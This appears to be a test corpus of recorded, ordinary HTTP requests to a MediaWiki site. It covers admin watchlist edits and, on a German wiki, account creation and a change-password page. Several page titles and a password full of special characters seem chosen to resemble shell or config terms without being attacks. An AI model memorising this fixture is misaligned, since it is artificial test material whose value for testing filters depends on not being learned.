{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 142", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALighthouse+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 139", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 161", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=2%401794271545%23fad50a8505bea134cc843d03608984cc; UseDC=master"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes%0D%0APowershell+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 179", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0ALs+-la+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 200", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALs+-la+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0A.htaccess+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
# From a German wiki without short URLs, whose forms post to the German names of
# the special pages: signing up, changing the password, and setting a new
# password at sign-in once the old one expired. Each password is random.
{"method": "GET", "target": "/index.php/Spezial:Benutzerkonto_anlegen", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=startup&only=scripts&raw=1&safemode=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/resources/assets/change-your-logo-icon.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=%40wikimedia%2Fcodex%2Ccodex-styles%2Cjquery%2Cvue%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.createaccount%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=l1ne8", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=menu&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=ellipsis&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userTalk&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userContributions&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/resources/assets/poweredby_mediawiki.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=search&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbles&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=article&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=history&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=star&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=wikiText&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbleAdd&variant=progressive&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=editLock&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=edit&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&list=users&ususers=Beispielnutzer&usprop=cancreate&formatversion=2&errorformat=html&errorsuselocal=true&uselang=de", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Accept-Language: de-DE", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "POST", "target": "/api.php?action=validatepassword", "headers": ["Host: example.com", "Content-Length: 184", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Accept-Language: de-DE", "Origin: http://example.com", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": "action=validatepassword&format=json&user=Beispielnutzer&password=+%2F%22j14y%5B%25%5C(iM%5DzmG%25%3D%5E&email=&realname=&formatversion=2&errorformat=html&errorsuselocal=true&uselang=de"}
{"method": "POST", "target": "/index.php/Spezial:Benutzerkonto_anlegen", "headers": ["Host: example.com", "Content-Length: 328", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": "title=Spezial%3ABenutzerkonto+anlegen&wpName=Beispielnutzer&wpPassword=+%2F%22j14y%5B%25%5C%28iM%5DzmG%25%3D%5E&retype=+%2F%22j14y%5B%25%5C%28iM%5DzmG%25%3D%5E&email=&realname=&wpCreateaccount=Benutzerkonto+erstellen&wpEditToken=%2B%5C&authAction=create&force=&wpCreateaccountToken=7a331f326cb63df209618ab8f4d9ee8c6af3a635%2B%5C"}
{"method": "GET", "target": "/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=jquery%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=sklfj", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=watchlist&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userAvatar&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=settings&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=logOut&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
